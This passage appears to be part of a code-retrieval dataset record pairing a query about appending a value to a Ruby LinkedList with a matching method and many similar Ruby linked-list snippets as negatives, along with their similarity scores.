"def prepend(val)\n\t\t# create a new node\n\t\tnew_node = Node.new(val, @head)\n\t\t# update head\n\t\t@head = new_node\n\tend",
"def prepend(value = nil)\n node = @head\n @head = Node.new(value, node)\n end",
"def add value\n if @head.nil?\n @length = 1\n @head = GenericList::Node.new(value)\n else\n lst = @head\n ptr = @head.nxt\n while ptr && @proc.call(value, lst.value) <= 0\n lst = ptr\n ptr = ptr.nxt\n end\n @length += 1\n lst.insert value\n end\n end",
"def prepend(value)\n new_node = Node.new(value, @head)\n @tail = new_node unless @head\n @head = new_node\n @size += 1\n end",
"def prepend(val)\n new_node = Node.new(val, @head)\n @head = new_node\n end",
"def add(val)\n get_node(val) #every new element that has to be added should point to a new node correponding to it.\n list_size = @elements.size\n last_element_index = list_size - 1\n @elements[last_element_index].next_node = list_size\n new_element_index = list_size\n @elements[new_element_index] = @node\n end",
"def append(value)\n\t\t\tif self.empty?\n\t\t\t\tself.prepend(value)\n\t\t\t\treturn\n\t\t\tend\n\n\t\t\telement = self.head\n\t\t\t# loop through each element in the LinkedList, until element.next \n\t\t\t# equals @head, signifying we have reached the end of the list.\n\t\t\twhile(element != self.head)\n\t\t\t\telement = element.next\n\t\t\tend\n\n\t\t\tnew_element = RubyStructures::Node.new(self, value)\n\t\t\t# insert the new element at the end of the LinkedList.\n\t\t\tnew_element.next = element.next\n\t\t\telement.next = new_element\n\t\tend",
"def insert_begin(value)\n\n\t\tif (@head == nil)\n\n\t\t\t@head = @Node.new(value,nil,nil)\n\t\t\t@tail = @head\n\n\t\telse\n\n\t\t\t@head[:prev] = @Node.new(value,@head,nil)\n\t\t\t@head = @head[:prev] \n\n\t\tend\n\n\tend",
"def append( value )\n last.next = Node.new value\n end",
"def add_first(value)\n new_node = DoubleNode.new(value, nil, @head)\n\n if @head\n @head.previous = new_node\n end\n\n @head = new_node\n end",
"def insert_before(value)\n node = Node(value)\n node.next = self\n node\n end",
"def add_first(data)\n new_node = Node.new(value, @head)\n @head = new_node\n end",
"def prepend(value)\n if @head.nil?\n @head = Node.new(value)\n @tail = @head\n else\n new_node = Node.new(value)\n new_node.next_node = @head\n @head = new_node\n end\n end",
"def insert_head(val)\r\n aux = Node.new(val,@head,nil)\r\n @head.prev = aux\r\n @head = aux\r\n end",
"def insert(value)\n node = @current\n @current = LinkNode.call(value, node, :after, self, &@match_value)\n self.head = @current if self.head.nil?\n self.tail = @current if self.tail.equal?(node)\n self.size += 1\n end",
"def append(value)\n new_node = Node.new(value)\n @node_counter += 1\n if @head == nil\n @head = new_node\n else\n last_node = traverse_nodes(@head)\n # require 'pry'; binding.pry\n last_node.next_node = new_node\n end\n end",
"def insert_after(value)\n node = DoublyLinkedListNode(value)\n\n # Need to implement this\n\n node\n end",
"def prepend(value)\n p = Node.new(value);\n p.prev = nil;\n p.next = self.head;\n self.head.prev = p;\n self.head = p;\n end",
"def prepend(value)\n node = Node.new(value)\n if @head.nil?\n @head = node\n @tail = node\n else\n old_head = @head\n @head = node\n @head.next_node = old_head\n end\n end",
"def prepend(value) \n if @head == nil\n @head = value \n @tail = value \n else \n value.next_node = @head\n @head = value \n end \n end",
"def set_head(value)\n @head = new_node(value)\nend",
"def add(value)\n node = Node.new(value)\n unless @head\n @head = node\n else\n node.previous = @tail\n @tail.next = node\n end\n @tail = node\n @size += 1\n end",
"def add(value)\n new_node = Node.new(value)\n if last\n last.next = new_node\n else\n self.first = new_node\n end\n\n return new_node\n end",
"def insert_head(value)\n\n\t\tif empty()\n\t\t\t@head = Node.new(value,nil,nil)\n\t\t\t@tail = @head\n\t\telse\n\t\t\t@head.prev = Node.new(value,@head,nil)\n\t\t\t@head = @head.prev;\n\t\tend\n\n\t\t@size = @size + 1\n\t\t\t\n\tend",
"def append(value)\n if @head.nil?\n @head = Node.new(value)\n else\n current_node = @head\n new_node = Node.new(value)\n current_node = current_node.next_node until current_node.next_node.nil?\n current_node.next_node = new_node\n end\n end",
"def add_node(value)\n if @head\n @head = Node.new value, @head\n else\n @head = Node.new value, nil\n end\n end",
"def insert_beginning(*val)\n \n val.each do |nuevo_nodo|\n \n if @head != nil\n \n @head.previous = nuevo_nodo\n nuevo_nodo.next = @head\n @head = nuevo_nodo\n else\n @head = nuevo_nodo\n end\n @num_nodos += 1\n \n end\n end",
"def push(value)\n @head = LinkedListNode.new(value, @head)\n end",
"def preprend(value)\n new_node = ListNode.new(value)\n if self.head.nil?\n self.head = self.tail = new_node\n self.size = 1\n else\n set_next_and_prev(new_node, self.head)\n self.head = new_node\n self.size += 1\n end\n self.as_string\n end",
"def insert(value)\n new_node = Node.new(value)\n @head.prev = new_node if @head\n new_node.next = @head\n @tail = new_node unless @tail\n @head = new_node\n @count += 1\n end",
"def add_first(data)\n\n new_node = Node.new(data) # create a new node\n new_node.next = @head # assign the new node's NEXT to the @head\n @head = new_node # assign the head position to the new node\n end",
"def insert_before(value)\n node = DoublyLinkedListNode(value)\n\n if self.empty?\n node.previous = self\n else\n node.previous = self.previous\n node.next = self\n self.previous = node\n end\n\n node\n end",
"def append(value)\n node = Node.new(value)\n if last\n last.next = node\n else\n @head = node\n end\n end",
"def insert_after(value)\n node = Node(value)\n @next = node\n node\n end",
"def append_to_front(value)\n\t\tif @head\n node = Node.new(value)\n node.next = @head\n @head = node\n\t\telse \n\t\t\t@head = Node.new(value)\n\t\t\t@tail = @head\n end\n @size += 1\n end",
"def append(value)\n if head == nil\n prepend(value)\n else\n tmp = head\n while tmp.next_node != nil\n tmp = tmp.next_node\n end\n tmp.next_node = Node.new(value)\n end\n end",
"def append(value)\n node = Node.new\n node.value = value\n if head.nil?\n @head = node\n else\n curr = head\n curr = curr.next until curr.next.nil?\n curr.next = node\n end\n head\n end",
"def insert(value) \n self.head.nil? ? insert_empty_list(value) : insert_on_end(value)\n\n print \"=> Result insertion: \"\n print_simple_list(self.last)\n end",
"def append(value)\n if @size == 0\n @head = Node.new(value)\n else\n node = @head\n node = node.link until node.link.nil?\n node.link = Node.new(value)\n end\n\n @size += 1\n end",
"def prepend(node_value = nil)\n node = Node.new(node_value)\n if @head.nil?\n @tail = node\n else\n node.next_node = @head\n end\n @head = node\n end",
"def append(value)\n new_node = create_node(value) \n if head.nil?\n self.head = new_node\n else\n last_node = tail\n last_node.next_node = new_node\n end\n self.size += 1\n end",
"def append(value)\n node = Node.new(value)\n if @head.nil?\n @head = node\n else\n @tail.next_node = node\n end\n @tail = node\n end",
"def insert_before value\n node = Node.new value, self, @prv\n @prv.nxt = node if @prv\n @prv = node\n end",
"def insert_head (value) # Insertar desde la cabeza\n\t nodo=Node.new(value,nil,nil)\n nodo.nest = @head\n @head = nodo # el head ahora apunta a este nodo\n if (@tail == nil)\n @tail = nodo\n end\n nodo.prev = nil\n if (nodo.nest != nil)\n nodo.nest.prev = nodo\n end\n end",
"def append(value)\n if @size == 0\n @head = @tail = LinkedListNode.new(:value => value)\n else\n old_tail = @tail\n @tail = LinkedListNode.new(:value => value)\n old_tail.successor = @tail\n end\n @size += 1\n end",
"def append(value)\n\t\tself.tail.next_node = Node.new(value, nil)\n\tend",
"def insert(value)\n node = @current\n @current = LinkNode.call(value, node, :circle_after, self, &@match_value)\n if self.size == 0 # only\n self.head = @current\n self.tail = @current\n elsif self.tail == node\n self.tail = @current\n @current.next = self.head\n self.head.prev = @current\n end\n self.size += 1\n end",
"def append(value = nil, next_node = nil)\n\n if (@head.nil?)\n prepend(value)\n else\n node = @head\n while (node.has_next)\n node = node.next_node\n end\n node.next_node = Node.new(value, next_node)\n end\n\n end",
"def insert_by_end(value)\n\t\tif @head.nil?\n\t\t\t@head = @Node.new(value, nil, nil)\n\t\t\t@tail = @head\n\t\telse\n\t\t\t@tail[:next] = @Node.new(value, nil, @tail)\n\t\t\t@tail = @tail[:next]\n\t\tend\n end",
"def append(value)\n if @head.nil?\n prepend(value)\n else\n find_tail.next = Node.new(value)\n end\n end",
"def append(value)\n new_node = Node.new(value)\n @head ? @tail.next_node = new_node : @head = new_node\n @tail = new_node\n @size += 1\n end",
"def append( value )\n\n # Find the last node in this list\n # i.e. keep looking at the next node\n # until the next node is 'nil'\n node = @head\n while node.next\n node = node.next\n # ^ kind of like incrementing the loop counter\n end\n\n node.next = Node.new value\n end",
"def prepend(x)\n el = ListElement.new(x)\n el.next = @head\n @head = el\n end",
"def add(value)\n @add_at_next = 0 unless @add_at_next\n add_at @add_at_next, value\n end",
"def prepend (number)\n # create a new node\n this_node = Node.new(number)\n \n # make new node point to head, and save it to head\n this_node.next_node = head\n @head = this_node\n end",
"def insert_head(val)\n node = Node.new(val, nil, @head)\n @tail = node unless @head\n @head.prev = node if @head\n @head = node\n @size += 1\n end",
"def append( value )\n\n # Find the last node in this list\n # i.e. keep looking at the next node\n # until the next node is 'nil'\n node = @head\n while node.next\n node = node.next\n # kind of like incrementing the loop counter\n end\n\n # puts \"End of loop:\"\n # p node\n\n node.next = Node.new value\n end",
"def append(value)\n #needs .last method\n #self.last\n last.next = Node.new(value)\n end",
"def append(value)\n node = LinkedListNode.new(value, @tail, nil)\n if @size.zero?\n @head = node\n @tail = node\n @size += 1\n return\n end\n\n @tail.next = node\n @tail = node\n @size += 1\n end",
"def append(value)\n node = Node.new\n node.value = value\n\n if @head.nil?\n @head = node\n @tail = node\n else\n @tail.next_node = node\n @tail = node\n end\n @size += 1\n end"
] |
[
"0.7599822",
"0.7479863",
"0.74746156",
"0.74496645",
"0.74496645",
"0.7329911",
"0.7305295",
"0.7302448",
"0.7296376",
"0.72862536",
"0.7269015",
"0.7239412",
"0.72342163",
"0.7224887",
"0.72221226",
"0.71887165",
"0.71550447",
"0.7142723",
"0.71423256",
"0.7138623",
"0.7129285",
"0.70972323",
"0.7084967",
"0.70653325",
"0.7052644",
"0.70518327",
"0.7045893",
"0.70439976",
"0.7043514",
"0.7038056",
"0.7037671",
"0.7036248",
"0.7017048",
"0.70023674",
"0.69906294",
"0.69825345",
"0.69817686",
"0.6972889",
"0.6965128",
"0.69485",
"0.6941192",
"0.6940499",
"0.6936484",
"0.6920849",
"0.6915813",
"0.6911232",
"0.6910693",
"0.690332",
"0.68953764",
"0.68926203",
"0.6887193",
"0.68824214",
"0.68820053",
"0.684941",
"0.68376213",
"0.68359035",
"0.683186",
"0.68287504",
"0.68266",
"0.6822643",
"0.6812236",
"0.6792056",
"0.67870563",
"0.677316",
"0.6770307",
"0.6757161",
"0.6756807",
"0.673861",
"0.67381525",
"0.67378503",
"0.6732539",
"0.6731878",
"0.67183894",
"0.6692224",
"0.6692127",
"0.6680769",
"0.66731924",
"0.6672973",
"0.6668759",
"0.6663893",
"0.6647277",
"0.6624584",
"0.6606306",
"0.6604087",
"0.6603437",
"0.6599879",
"0.65994686",
"0.6598005",
"0.6591212",
"0.65820366",
"0.6580032",
"0.65774024",
"0.6574685",
"0.6567677",
"0.656749",
"0.65661037",
"0.65521544",
"0.65470564",
"0.65360755",
"0.6529001"
] |
0.72739685
|
10
|
Public: Add a value to the end of the LinkedList value Ruby object to be inserted into the LinkedList Examples
|
def append(value)
if self.empty?
self.prepend(value)
return
end
element = self.head
# loop through each element in the LinkedList, until element.next
# equals @head, signifying we have reached the end of the list.
while(element != self.head)
element = element.next
end
new_element = RubyStructures::Node.new(self, value)
# insert the new element at the end of the LinkedList.
new_element.next = element.next
element.next = new_element
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def append(value)\n new_node = ListNode.new(value)\n if self.head.nil?\n self.head = self.tail = new_node\n self.size = 1\n else\n set_next_and_prev(self.tail, new_node)\n self.tail = new_node\n self.size += 1\n end\n self.as_string\n end",
"def append( value )\n last.next = Node.new value\n end",
"def append(value)\n #needs .last method\n #self.last\n last.next = Node.new(value)\n end",
"def add(val)\n if @next == nil\n @next = ListNode.new(val)\n else\n @next.add(val)\n end\n end",
"def add(val)\n # debugger\n current = @head\n while current.next != nil\n current = current.next\n end\n current.next = Node.new(val, nil)\n \n # current.next.value\n self\n end",
"def append(value)\n\t\tself.tail.next_node = Node.new(value, nil)\n\tend",
"def append( value )\n\n # Find the last node in this list\n # i.e. keep looking at the next node\n # until the next node is 'nil'\n node = @head\n while node.next\n node = node.next\n # kind of like incrementing the loop counter\n end\n\n # puts \"End of loop:\"\n # p node\n\n node.next = Node.new value\n end",
"def insert_after(value)\n node = LinkedListNode(value)\n\n node.next = self.next if self.next\n self.next = node\n\n node\n end",
"def append(value)\n new_node = create_node(value) \n if head.nil?\n self.head = new_node\n else\n last_node = tail\n last_node.next_node = new_node\n end\n self.size += 1\n end",
"def append(value)\n node = LinkedListNode.new(value, @tail, nil)\n if @size.zero?\n @head = node\n @tail = node\n @size += 1\n return\n end\n\n @tail.next = node\n @tail = node\n @size += 1\n end",
"def append(value)\n if @size == 0\n @head = @tail = LinkedListNode.new(:value => value)\n else\n old_tail = @tail\n @tail = LinkedListNode.new(:value => value)\n old_tail.successor = @tail\n end\n @size += 1\n end",
"def append( value )\n\n # Find the last node in this list\n # i.e. keep looking at the next node\n # until the next node is 'nil'\n node = @head\n while node.next\n node = node.next\n # ^ kind of like incrementing the loop counter\n end\n\n node.next = Node.new value\n end",
"def add(value)\n current_node = @head\n while current_node.next != nil\n current_node = current_node.next\n end\n current_node.next = Node.new(value, nil)\n end",
"def append(value)\n node = Node.new(value)\n if @head.nil?\n @head = node\n else\n @tail.next_node = node\n end\n @tail = node\n end",
"def insert_by_end(value)\n\t\tif @head.nil?\n\t\t\t@head = @Node.new(value, nil, nil)\n\t\t\t@tail = @head\n\t\telse\n\t\t\t@tail[:next] = @Node.new(value, nil, @tail)\n\t\t\t@tail = @tail[:next]\n\t\tend\n end",
"def append(value)\n node = Node.new(value)\n if last\n last.next = node\n else\n @head = node\n end\n end",
"def append(value)\n new_node = Node.new(value)\n @head ? @tail.next_node = new_node : @head = new_node\n @tail = new_node\n @size += 1\n end",
"def add(val)\n get_node(val) #every new element that has to be added should point to a new node correponding to it.\n list_size = @elements.size\n last_element_index = list_size - 1\n @elements[last_element_index].next_node = list_size\n new_element_index = list_size\n @elements[new_element_index] = @node\n end",
"def append(value)\n if @head.nil?\n @head = Node.new(value)\n @tail = @head\n else\n @tail.next_node = Node.new(value)\n @tail = @tail.next_node\n end\n end",
"def insert_end(value)\n\n\t\tif (@head == nil)\n\n\t\t\t@head = @Node.new(value,nil,nil)\n\t\t\t@tail = @head\n\n\t\telse\n\n\t\t\t@tail[:next] = @Node.new(value,nil,@tail)\n\t\t\t@tail = @tail[:next]\n\n\t\tend\n\n\tend",
"def append(value)\n new_node = Node.new(value)\n @node_counter += 1\n if @head == nil\n @head = new_node\n else\n last_node = traverse_nodes(@head)\n # require 'pry'; binding.pry\n last_node.next_node = new_node\n end\n end",
"def append(value = nil, next_node = nil)\n\n if (@head.nil?)\n prepend(value)\n else\n node = @head\n while (node.has_next)\n node = node.next_node\n end\n node.next_node = Node.new(value, next_node)\n end\n\n end",
"def append(value)\r\n newNode = Node.new(value, nil)\r\n\r\n if empty?\r\n @first = newNode\r\n else\r\n @last.next = newNode \r\n end\r\n\r\n @last = newNode\r\n @length += 1\r\n self\r\n end",
"def append(value)\n node = Node.new(value)\n if @head.nil?\n @head = node\n @tail = node\n else\n @tail.next_node = node\n @tail = @tail.next_node\n end\n end",
"def append(value)\n node = Node.new\n node.value = value\n\n if @head.nil?\n @head = node\n @tail = node\n else\n @tail.next_node = node\n @tail = node\n end\n @size += 1\n end",
"def append(value)\n if @head == nil\n @head = value \n @tail = value \n else \n @tail.next_node = value\n @tail = value \n end \n end",
"def append(value)\r\n newNode = Node.new(value, nil)\r\n\r\n if empty?\r\n @first = newNode\r\n else\r\n @last.next = newNode \r\n end\r\n\r\n @last = newNode\r\n @length += 1\r\n self\r\n end",
"def append(value)\r\n newNode = Node.new(value, nil)\r\n\r\n if empty?\r\n @first = newNode\r\n else\r\n @last.next = newNode \r\n end\r\n\r\n @last = newNode\r\n @length += 1\r\n self\r\n end",
"def append(value)\r\n newNode = Node.new(value, nil)\r\n\r\n if empty?\r\n @first = newNode\r\n else\r\n @last.next = newNode \r\n end\r\n\r\n @last = newNode\r\n @length += 1\r\n self\r\n end",
"def add_last(value)\r\n \r\n # if list is empty, insert the new value at the head\r\n if @head.nil?\r\n @head = Node.new(value, nil)\r\n return @head\r\n end \r\n \r\n # otherwise, traverse the list from start to last node ...\r\n current = @head\r\n until current.next.nil?\r\n current = current.next\r\n end\r\n \r\n # ... and insert new node after last node\r\n current.next = Node.new(value, nil)\r\n \r\n end",
"def append(value)\n if @size == 0\n @head = Node.new(value)\n else\n node = @head\n node = node.link until node.link.nil?\n node.link = Node.new(value)\n end\n\n @size += 1\n end",
"def append(value)\r\n newNode = Node.new(value, nil)\r\n\r\n if empty?\r\n @first = newNode\r\n else\r\n @last.next = newNode \r\n end\r\n @last = newNode\r\n @length += 1\r\n self\r\n end",
"def append(value)\n if @head.nil?\n @head = Node.new(value)\n else\n current_node = @head\n new_node = Node.new(value)\n current_node = current_node.next_node until current_node.next_node.nil?\n current_node.next_node = new_node\n end\n end",
"def addToTail value\n @length += 1\n newNode = LinkedListNode.new(value)\n oldTail = @tail\n oldTail.nextNode = newNode\n @tail = newNode\n @head.nextNode = newNode if @head.nextNode == nil\n end",
"def append(value)\n new_node = Node.new(value)\n node = @node\n\n while node.next\n node = node.next\n end\n\n node.next = new_node\n end",
"def append(value)\n a = Node.new(value);\n a.prev = last;\n a.next = nil;\n a.prev.next = a; #prev now 2nd last\n end",
"def append(value)\n newNode = Node.new(value, nil)\n\n if empty?\n @first = newNode\n else\n @last.next = newNode \n end\n\n @last = newNode\n @length += 1\n self\n end",
"def insert_after(value)\n node = DoublyLinkedListNode(value)\n\n # Need to implement this\n\n node\n end",
"def append(value)\n newNode = Node.new(value, nil)\n\n if empty?\n @first = newNode\n else\n @last.next = newNode \n end\n @last = newNode\n @length += 1\n self\n end",
"def append(value)\n node = Node.new\n node.value = value\n if head.nil?\n @head = node\n else\n curr = head\n curr = curr.next until curr.next.nil?\n curr.next = node\n end\n head\n end",
"def add_node(value)\n add_node_support(value, :linked_list)\n end",
"def append(value)\n # if the list is empty, you need to update head and tail. \n # you can do via push, because in the case append == push\n if isEmpty?\n push(value)\n return\n end\n\n # if the list is not empty, you need to create a new Node\n # after the tail\n @tail.next_node = Node.new(value)\n # since it's a tail-end insertion, the new node is also\n # the tail of the list\n @tail = @tail.next_node\n end",
"def add(value)\n if head.nil?\n @head = Node.new(value)\n else\n current_node = head\n while current_node.next\n current_node = current_node.next\n end\n current_node.next = Node.new(value)\n end\n end",
"def add(value)\n\t\tif @head != nil \n\t\t\tcurrent = @head\n\t\t\twhile current.nnode != nil\n\t\t\t\tcurrent = current.nnode\n\t\t\tend\n\t\t\tcurrent.nnode = Node.new(value, nil)\n\t\telse\n\t\t\t@head = Node.new(value,nil)\n\t\tend\n\tend",
"def add value\n if @head.nil?\n @length = 1\n @head = GenericList::Node.new(value)\n else\n lst = @head\n ptr = @head.nxt\n while ptr && @proc.call(value, lst.value) <= 0\n lst = ptr\n ptr = ptr.nxt\n end\n @length += 1\n lst.insert value\n end\n end",
"def add_last(value)\r\n return @head = Node.new(value) unless @head\r\n \r\n last = @head\r\n last = last.next while last.next\r\n last.next = Node.new(value)\r\n end",
"def add(value)\n node = Node.new(value)\n unless @head\n @head = node\n else\n node.previous = @tail\n @tail.next = node\n end\n @tail = node\n @size += 1\n end",
"def append(value)\n if head == nil\n prepend(value)\n else\n tmp = head\n while tmp.next_node != nil\n tmp = tmp.next_node\n end\n tmp.next_node = Node.new(value)\n end\n end",
"def append(node_value = nil)\n node = Node.new(node_value)\n if @tail.nil?\n @head = node\n else\n @tail.next_node = node\n end\n @tail = node\n end",
"def add_last(value)\r\n new_node = Node.new(value)\r\n if !@head\r\n @head = new_node\r\n else\r\n cursor = @head\r\n while cursor.next\r\n cursor = cursor.next\r\n end\r\n cursor.next = new_node\r\n end\r\n end",
"def test_append_additional_node\n list = LinkedList.new\n\n list.append(\"Rhodes\", {\"pounds of food\" => 200})\n list.append(\"Hardy\", {\"pounds of food\" => 200})\n\n assert_instance_of Node, list.head.next_node\n end",
"def test_linked_list_append\n list = LinkedList.new\n new_node = list.append(\"Rhodes\", {\"pounds of food\" => 200})\n assert_equal \"Rhodes\", new_node.surname\n assert_equal Node, new_node.class\n end",
"def insert(value)\n node = @current\n @current = LinkNode.call(value, node, :after, self, &@match_value)\n self.head = @current if self.head.nil?\n self.tail = @current if self.tail.equal?(node)\n self.size += 1\n end",
"def push(value) #adding element at the end of LL\n new_node = Node.new(value) #create new node\n return @head = new_node if @head == nil #if head is nil(list is empty) new node becomes head\n #if list is not empty, we must traverse to last element in the list \n temp_node = @head #starting from the head\n until temp_node.link == nil #last element in the list is element whit link pointing to nil\n temp_node = temp_node.link #traversing through list using link variable\n end\n temp_node.link = new_node #to append node we assign new node ad last nodes link variable\n end",
"def add_last(value)\n if @head.nil?\n return @head = DoubleNode.new(value)\n end\n\n current = @head\n\n until current.next.nil?\n current = current.next\n end\n\n new_node = DoubleNode.new(value, current, nil)\n current.next = new_node \n end",
"def append(value)\n if @head\n find_tail.next = Node.new(value)\n else\n @head = Node.new(value)\n end\n end",
"def add_at_tail(val)\n last = Node.new(val)\n current = @head\n if @length == 0 then\n @head = last\n @length += 1\n else\n while !current.next.nil?\n current = current.next\n end\n current.next = last\n @length += 1\n end\n end",
"def append(val)\n current = @head\n while current.next?\n current = current.next_node\n end\n new_node = Node.new(val, nil)\n current.next_node = new_node\n end",
"def add_at_head(val)\n \n end",
"def add(value)\n new_node = Node.new(value)\n if last\n last.next = new_node\n else\n self.first = new_node\n end\n\n return new_node\n end",
"def add_last(value)\n new_node = DoublyLinkedNode.new(value, @tail, nil)\n if @tail\n @tail.next = new_node\n new_node.prev = @tail\n @tail = new_node\n else\n @head = new_node\n @tail = new_node\n end\n end",
"def append(value)\n if @head.nil?\n prepend(value)\n else\n find_tail.next = Node.new(value)\n end\n end",
"def add_last(value)\n new_node = Node.new(value)\n\n if !@head\n @head = new_node\n return\n end\n\n current = @head\n while current.next\n current = current.next\n end\n current.next = new_node\n return\n end",
"def append(val)\n\t\t# create a new node\n\t\tnew_node = Node.new(val, nil)\n\t\t# make old tail point to new node\n\t\t@tail.next_node = new_node\n\t\t# update tail\n\t\t@tail = new_node\n\tend",
"def insert_after(value)\n node = Node(value)\n @next = node\n node\n end",
"def append(val)\n\t\t# create a new node\n\t\tnewNode = Node.new(val, nil)\n\t\t# make old tail point to new node\n\t\t@tail.next_node = newNode\n\t\t# update tail\n\t\t@tail = newNode\n\tend",
"def add_last(value)\r\n newNode = Node.new(value)\r\n \r\n if @head.nil? \r\n @head = newNode\r\n return\r\n end\r\n\r\n prev = nil\r\n curr = @head \r\n\r\n while curr\r\n if curr.next \r\n prev = curr\r\n curr = curr.next\r\n else\r\n curr.next = newNode\r\n return\r\n end\r\n end\r\n \r\n end",
"def insert_tail(value)\n if @head.nil?\n @head = Nodo.new(value, nil, nil)\n @tail = @head\n else\n @tail[:next] = Nodo.new(value, nil, @tail)\n @tail = @tail[:next]\n end\n end",
"def add_at_tail(val)\n @list << val\n end",
"def add_at_tail(val)\n if @llist\n node = @llist\n while node.next_node\n node = list.next_node\n end\n node.add_next_node Node.new(val)\n else\n add_at_head(val)\n end\n end",
"def insert(value)\n node = @current\n @current = LinkNode.call(value, node, :circle_after, self, &@match_value)\n if self.size == 0 # only\n self.head = @current\n self.tail = @current\n elsif self.tail == node\n self.tail = @current\n @current.next = self.head\n self.head.prev = @current\n end\n self.size += 1\n end",
"def set_tail(value)\nlast_node(head).next_node = new_node(value)\n end",
"def insert value\r\n current_head = @head\r\n #create a new node with:\r\n #\"value\" that come from LIST-INSERT argument\r\n #\"next\" that point to the node that is currently at the head\r\n #\"prev\" that is NULL since it will be spliced onto the front of the list\r\n new_node = Node.new value, current_head, nil\r\n #if the list is not empty (L.head != NULL)(there exist at least one node in the list)\r\n if current_head != nil\r\n #point the old head node prev pointer to the new node\r\n current_head.set_prev_node new_node\r\n #OPTIONAL: if the list is empty, set tail to the the first node\r\n else\r\n @tail = new_node\r\n end\r\n #point L.head to the new node\r\n @head = new_node\r\n #You can return a pointer to the new node so you can access it quickly (e.g. for reading, updating or deleting)\r\n return new_node\r\n #You can return the list so that you can chain methods\r\n return self\r\n end",
"def add_at_head(val)\n if @llist\n old_head = @llist\n @llist = Node.new(val)\n @llist.add_next_node old_head\n else\n @llist = Node.new(val)\n end\n end",
"def push(new_value)\n @data = LinkedListNode.new(new_value, @data)\n end",
"def add_at_head(val)\n first = Node.new(val)\n first.next = @head\n @head = first\n @length += 1\n end",
"def test_append_method\n list = LinkedList.new\n\n list.append(\"West\", {\"pounds of food\" => 200})\n\n assert_instance_of Node, list.head\n assert_equal \"West\", list.head.surname\n end",
"def insert(value) \n self.head.nil? ? insert_empty_list(value) : insert_on_end(value)\n\n print \"=> Result insertion: \"\n print_simple_list(self.last)\n end",
"def insert_after value\n node = Node.new value, @nxt, self\n @nxt.prv = node if @nxt\n @nxt = node\n end",
"def add_at_tail(val)\n \n end",
"def push(value)\n @data = LinkedListNode.new value, @data\n end",
"def insert_tail(value)\n\t\tif(empty?)\n\t\t\t@head = Node.new(value,nil,nil)\n\t\t\t@tail = @head\n\t\telse\n\t\t\t@tail[:next] = Node.new(value,nil,@tail)\n\t\t\t@tail = @tail[:next]\n\t\tend\t\t\t\n\tend",
"def add(value)\n @add_at_next = 0 unless @add_at_next\n add_at @add_at_next, value\n end",
"def add(value, index)\n return raise \"Index out of bounds: #{index}\" if index > @size || index.negative?\n\n return append(value) if @size.zero?\n\n node = LinkedListNode.new(value, nil, nil)\n if index.zero?\n node.next = @head\n @head = node\n @size += 1\n return\n end\n if index == @size\n node.prev = @tail\n @tail.next = node\n @tail = node\n @size += 1\n return\n end\n\n position = 0\n current = @head\n while position < index - 1\n current = current.next\n position += 1\n end\n node.next = current.next\n current.next = node\n node.prev = current\n @size += 1\n end",
"def push(value)\n @head = LinkedListNode.new(value, @head)\n end",
"def insert_tail(value)\n\n\t\tif empty()\n\t\t\t@head = Node.new(value,nil,nil)\n\t\t\t@tail = @head\n\t\telse\n\t\t\t@tail.next = Node.new(value,nil,@tail)\n\t\t\t@tail = @tail.next;\n\t\tend\n\n\t\t@size = @size + 1\n\t\t\t\n\tend",
"def ll_append(data)\n new_node = Node.new(data)\n \n if @num_nodes == 0\n @head = new_node\n @tail = new_node\n else\n end_node = @tail\n end_node.set_Next(new_node)\n @tail = new_node\n end\n \n @num_nodes += 1\n end",
"def push(value)\r\n @data = LinkedListNode.new(value, @data)\r\n end",
"def push(value)\r\n @data = LinkedListNode.new(value, @data)\r\n end",
"def push(value)\n @data = LinkedListNode.new(value, @data)\n end",
"def push(value)\n @data = LinkedListNode.new(value, @data)\n end",
"def push(value)\n @data = LinkedListNode.new(value, @data)\n end",
"def push(value)\r\n @data = LinkedListNode.new(value, @data)\r\n \r\n end",
"def push(value)\r\n @data = LinkedListNode.new(value, self.data)\r\n end",
"def push(value)\n # IMPLEMENT ME!\n if @data == nil\n @data = LinkedListNode.new(value)\n else\n @data = LinkedListNode.new(value, @data)\n end\n end",
"def push(value)\r\n \t@data = LinkedListNode.new(value, @data)\r\n end",
"def insertTail(value)\n \n n = Node.new(value)\n \n if @head.nil?\n \n @tail = n\n @head = @tail\n \n else\n \n @tail.next = n\n n.prev = @tail\n @tail = n\n \n end\n \n end",
"def push(value)\n @data = LinkedListNode.new(value, @data)\n end",
"def push(value)\n @data = LinkedListNode.new(value, @data)\n end",
"def insert_tail(node_value)\n # Create a var to hold the current_node; init with head\n current_node = @head\n\n # If the SLL is empty, the head and tail are the same thing, set head to new node\n if empty?\n @head = Node.new(node_value)\n else\n # Otherwise, while there's another node after the current, i.e., while current is not tail\n while current_node.next\n # Get the current's next and set as the new current\n current_node = current_node.next\n end\n\n # The previous loop has ended, meaning current now points to tail\n # Set the current's next to the new node\n current_node.next = Node.new(node_value)\n # Move the pointer to the next node which was just inserted so that it can be returned\n current_node = current_node.next\n end\n\n # Increment size by 1, regardless of SLL size\n @size += 1\n # Return the current, which now points to tail\n current_node\n end"
] |
[
"0.77213836",
"0.76858944",
"0.7525128",
"0.7506624",
"0.74586207",
"0.7456541",
"0.74455255",
"0.7423068",
"0.7411595",
"0.74040896",
"0.7402254",
"0.73595196",
"0.7344331",
"0.7333337",
"0.73228025",
"0.7320691",
"0.72836983",
"0.72681487",
"0.7225237",
"0.72145563",
"0.72088027",
"0.71973467",
"0.7194429",
"0.71855617",
"0.7185506",
"0.7161845",
"0.71580505",
"0.71580505",
"0.71580505",
"0.7151785",
"0.7151216",
"0.7150206",
"0.7139548",
"0.71380484",
"0.7104698",
"0.7099308",
"0.70986986",
"0.7097511",
"0.70969075",
"0.7086792",
"0.7074052",
"0.70685565",
"0.70652235",
"0.7051477",
"0.70331943",
"0.7024299",
"0.70226324",
"0.7009284",
"0.700319",
"0.6980868",
"0.6976335",
"0.697542",
"0.6960558",
"0.69604635",
"0.6955077",
"0.6946305",
"0.69289076",
"0.6921808",
"0.691692",
"0.69003826",
"0.68956304",
"0.6890826",
"0.68898135",
"0.6885469",
"0.6882322",
"0.6871132",
"0.6862153",
"0.6857784",
"0.6826341",
"0.6815745",
"0.68046075",
"0.6772463",
"0.67585194",
"0.6751804",
"0.672148",
"0.6720965",
"0.6718088",
"0.67062205",
"0.6667813",
"0.6664408",
"0.6662406",
"0.66609365",
"0.6649568",
"0.66431504",
"0.66423315",
"0.66333956",
"0.6633002",
"0.66259503",
"0.66259503",
"0.6617111",
"0.6617111",
"0.6610093",
"0.6607327",
"0.660459",
"0.65969783",
"0.6585886",
